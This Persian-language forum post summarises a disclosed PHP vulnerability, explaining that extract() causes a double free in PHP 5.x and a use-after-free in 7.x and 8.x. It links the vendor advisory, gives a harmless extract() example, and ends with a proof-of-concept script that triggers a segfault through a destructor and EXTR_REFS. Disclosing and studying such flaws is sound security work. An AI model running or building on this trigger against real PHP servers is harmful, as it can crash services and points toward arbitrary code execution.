Jump to content

Recommended Posts

🔴 آسیب پذیری در تابع extract در PHP:

( https://ssd-disclosure.com/ssd-advisory-extract-double-free5-x-use-after-free7-x-8-x/ )

در نسخه‌ های PHP 5.x تابع extract میتونه منجر به double free بشه. این نوع ب‌اگ زمانی رخ میده که یک بلوک حافظه دو بار آزاد بشه که میتونه باعث خ‌رابی برنامه یا اجرای کد مخ‌رب بشه.

 

در نسخه‌های PHP 7.x ,8.x این تابع میتونه منجر به یک خ‌طای use after free بشه. در این حالت، برنامه به حافظه‌ای که قبلاً آزاد شده دسترسی پیدا میکنه، که میتونه به اجرای کد دلخواه من‌جر بشه.

 

این آس.یب‌پذیریها به مهاجم امکان میده که کد مخ‌رب رو (native code) اجرا کنن.

 

شرکت Zend (توسعه‌دهنده PHP) این مشکل رو برطرف کرده و جزئیاتش رو در یک مشاوره ام‌نیتی در GitHub منتشر کرده. (فعلا بالا نمیاد)

( https://github.com/php/php-src/security/advisories/GHSA-4pwq-3fv3-gm94 )

 

تابع extract در PHP برای است‌خراج عناصر یک آرایه بصورت متغیرهای جداگانه استفاده میشه. این تابع کلیدهای آرایه رو بعنوان نام متغیرها و مقادیر آرایه رو بعنوان مقدار اون متغیرها تعریف میکنه.

( https://www.php.net/manual/en/function.extract.php )

<?php

$array = [

    'name' => 'Ali',

    'age' => 25,

    'city' => 'Tabriz'

];

 

extract($array);

 

echo $name; // Output: Ali

echo $age; // Output: 25

echo $city; // Output: Tabriz

?>

 

از این تابع برای استخراج داده ها از آرایه های بازگشتی، قالبها، کار با داده های json یا فرمهای داینامیک که کلیدهای آرایه از قبل مشخص نیست استفاده میشه.

 

نمونه PoC:

 

<?php

 

//

// Trigger Segfault

//

 

class GetFree

{

    public function __destruct()

    {

        unset($GLOBALS["b"]);

    }

}

 

$b = new GetFree();

$array = ["b" => "AB"];

extract($array, EXTR_REFS);

 

// avoid string interning using str_shuffle

$var1 = str_shuffle("AAAAAAAAAAAAAAAAAAAAAAAA");

$var2 = 888;

$var3 = 999;

$var4 = 111;

$var5 = [$empty];

 

sleep(1);

 

  • Thanks 1

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...